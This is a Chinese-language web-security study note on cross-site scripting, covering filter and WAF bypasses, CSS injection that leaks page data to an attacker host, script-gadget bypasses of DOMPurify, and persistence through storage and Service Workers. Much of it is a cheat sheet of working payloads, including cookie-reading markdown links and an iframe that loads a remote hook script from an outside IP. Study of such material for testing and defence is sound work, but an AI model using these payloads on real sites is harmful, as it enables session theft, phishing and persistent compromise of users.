1. 程式人生 > 其它 >Web安全學習筆記 XSS漏洞分析下

Web安全學習筆記 XSS漏洞分析下

Web安全學習筆記 XSS下

玲瓏骰子安紅豆,入骨相思知不知。 ——溫庭筠《新添聲楊柳枝詞》


  1. WAF Bypass
  2. 技巧
  3. Payload
  4. 持久化
  5. 參考連結

Part1一.WAF Bypass

1WAF 繞過

利用<>標記

利用html屬性

href
lowsrc
bgsound
background
value
action
dynsrc

關鍵字

利用回車拆分

字串拼接
window["al" + "ert"]

利用編碼繞過

base64
jsfuck
String.fromCharCode
HTML
URL
hex
     
window["\x61\x6c\x65\x72\x74"]
unicode
utf7

+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-

utf16

大小寫混淆

對標籤屬性值轉碼

產生事件

css跨站解析

長度限制bypass

eval(name)
eval(hash)
import
$.getScript
$.get

.


使用 。 繞過IP/域名
document['cookie'] 繞過屬性取值

過濾引號用 `` `` 繞過`

Part2二. 技巧

2內容索引:

1.httponly

1.在cookie為httponly的情況下
可以通過xss直接在源站完成操作
不直接獲取cookie

2.在有登入操作的情況下
部分站點直接傳送登入請求可能會帶有cookie

3.部分特定版本的瀏覽器可能
會在httponly支援/處理上存在問題

4.低版本瀏覽器支援 TRACE / TRACK
可獲取敏感的header欄位

5.phpinfo 等頁面可能會回顯資訊
這些資訊中包含http頭

6.通過xss劫持頁面釣魚

7.通過xss偽造oauth等授權請求
遠端登入

2.CSS 注入

1. 基本介紹

CSS注入最早開始於利用CSS中的 expression() url() regex() 等函式或特性來引入外部的惡意程式碼,但是隨著瀏覽器的發展,這種方式被逐漸禁用,與此同時,出現了一些新的攻擊方式。

2. CSS selectors
<style>
    #form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); }
    #form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); }
    #form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); }
    [...]
</style>
<form action="http://example.com" id="form2">
    <input type="text" id="secret" name="secret" value="abc">
</form>

上圖是利用CSS selectors完成攻擊的一個示例

3. Abusing Unicode Range

當可以插入CSS的時候,可以使用 font-face 配合 unicode-range 獲取目標網頁對應字符集。PoC如下

<style>
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?A); /* fetched */
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?B); /* fetched too */
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?C); /* not fetched */
 unicode-range:U+0043;
}
#sensitive-information{
 font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

當字元較多時,則可以結合 ::first-line 等CSS屬性縮小範圍,以獲取更精確的內容

3. Bypass Via Script Gadgets

3.1. 簡介

一些網站會使用白名單或者一些基於DOM的防禦方式,對這些方式,有一種被稱為 Code Reuse 的攻擊方式可以繞過。該方式和二進位制攻防中的Gadget相似,使用目標中的合法程式碼來達到繞過防禦措施的目的。

在論文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有該方法的具體描述。

portswigger的一篇博文也表達了類似的想法

https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations。

下面有一個簡單的例子,這個例子使用了 DOMPurify 來加固,但是因為引入了 jquery.mobile.js 導致可以被攻擊。

3.2. 例子
// index.php
<?php

$msg = $_GET['message'];
$msg = str_replace("\n", "", $msg);
$msg = base64_encode($msg);

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Preview</title>
    <script type="text/javascript" src="purify.js"></script>
    <script type="text/javascript" src="jquery.js"></script>
    <script type="text/javascript" src="jquery.mobile.js"></script>
</head>
<body>

    <script type="text/javascript">
    var d= atob('<?php echo $msg; ?>');
    var cleanvar = DOMPurify.sanitize(d);
    document.write(cleanvar);
    </script>

</body>
</html>
// payload
<div data-role=popup id='-->
&lt;script&gt;alert(1)&lt;/script&gt;'>
</div>

4. RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite) 攻擊又稱為相對路徑覆蓋攻擊,依賴於瀏覽器和網路伺服器的反應,利用伺服器的 Web 快取技術和配置差異。

Part3三. Payload

3常用

<script>alert(/xss/)</script>

<svg onload=alert(document.domain)>

<img src=document.domain onerror=alert(document.domain)>

<M onmouseover=alert(document.domain)>M

<marquee onscroll=alert(document.domain)>

<a href=javascript:alert(document.domain)>M</a>

<body onload=alert(document.domain)>

<details open ontoggle=alert(document.domain)>

<embed src=javascript:alert(document.domain)>

4大小寫繞過

<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert(&quot;M&quot;)">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>

5各種alert

<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert`1`</script>
<script>(alert)(1)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script>
<script>top["al"+"ert"](1)</script>
<script>top["a"+"l"+"e"+"r"+"t"](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>

6偽協議

<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>

7Chrome XSS auditor bypass

?param=https://&[email protected]/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>

8長度限制

<script>s+="l"</script>
\...
<script>eval(s)</script>

9jquery sourceMappingURL

</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>

10圖片名

"><img src=x onerror=alert(document.cookie)>.gif

11過期的payload

src=javascript:alert基本不可以用

css expression特性只在舊版本ie可用

12css

<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

13markdown

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

14iframe

<iframe onload='
    var sc   = document.createElement("scr" + "ipt");
    sc.type  = "text/javascr" + "ipt";
    sc.src   = "http://1.2.3.4/js/hook.js";
    document.body.appendChild(sc);
    '
/>
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe

15form

<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>

16meta

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

Part4四.持久化

17基於儲存

有時候網站會將資訊儲存在Cookie或localStorage,而因為這些資料一般是網站主動儲存的,很多時候沒有對Cookie或localStorage中取出的資料做過濾,會直接將其取出並展示在頁面中,甚至存了JSON格式的資料時,部分站點存在 eval(data) 之類的呼叫。因此當有一個XSS時,可以把payload寫入其中,在對應條件下觸發。

在一些條件下,這種利用方式可能因為一些特殊字元造成問題,可以使用 String.fromCharCode 來繞過。

18Service Worker

Service Worker可以攔截http請求,起到類似本地代理的作用,故可以使用Service Worker Hook一些請求,在請求中返回攻擊程式碼,以實現持久化攻擊的目的。

在Chrome中,可通過 chrome://inspect/#service-workers 來檢視Service Worker的狀態,並進行停止。

19AppCache

在可控的網路環境下(公共wifi),可以使用AppCache機制,來強制儲存一些Payload,未清除的情況下,使用者訪問站點時對應的payload會一直存在。

Part5五.參考連結

20wiki

AwesomeXSS

https://github.com/s0md3v/AwesomeXSS

w3c

https://w3c.github.io/webappsec-csp/

dom xss wiki

https://github.com/wisec/domxsswiki/wiki

content-security-policy.com

https://content-security-policy.com/

markdwon xss

https://shubs.io/exploiting-markdown-syntax-and-telescope-persistent-xss-through-markdown-cve-2014-5144/

xss cheat sheet

https://brutelogic.com.br/blog/cheat-sheet/

html5 security cheatsheet

https://html5sec.org/

http security headers

https://www.invicti.com/whitepaper-http-security-headers/

XSSChallengeWiki

https://github.com/cure53/XSSChallengeWiki/wiki

21Challenges

XSS Challenge By Google

https://xss-game.appspot.com/

prompt to win

http://prompt.ml/0

22CSS

rpo

http://www.thespanner.co.uk/2014/03/21/rpo/

rpo攻擊初探

http://www.zjicmisa.org/index.php/archives/127/

Reading Data via CSS

https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html

css based attack abusing unicode range

https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html

css injection

https://speakerdeck.com/lmt_swallow/css-injection-plus-plus-ji-cun-shou-fa-falsegai-guan-todui-ce

css timing attack

https://blog.sheddow.xyz/css-timing-attack/

23同源策略

Same origin policy

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

cors security guide

https://www.bedefended.com/papers/cors-security-guide

logically bypassing browser security boundaries

https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries

24bypass

666 lines of xss payload

https://gist.github.com/JohannesHoppe/5612274

xss auditor bypass

https://github.com/masatokinugawa/filterbypass

xss auditor bypass writeup

https://www.leavesongs.com/HTML/chrome-xss-auditor-bypass-collection.html

bypassing csp using polyglot jpegs

https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs

bypass xss filters using javascript global variables

https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/

25持久化

變種XSS 持久控制 by tig3r

http://drops.wooyun.org/web/10798

Using Appcache and ServiceWorker for Evil

https://sakurity.com/blog/2015/08/13/middlekit.html

26Tricks

Service Worker 安全探索

https://github.com/etherdream/sw-sec

前端黑魔法

https://github.com/EtherDream/web-frontend-magic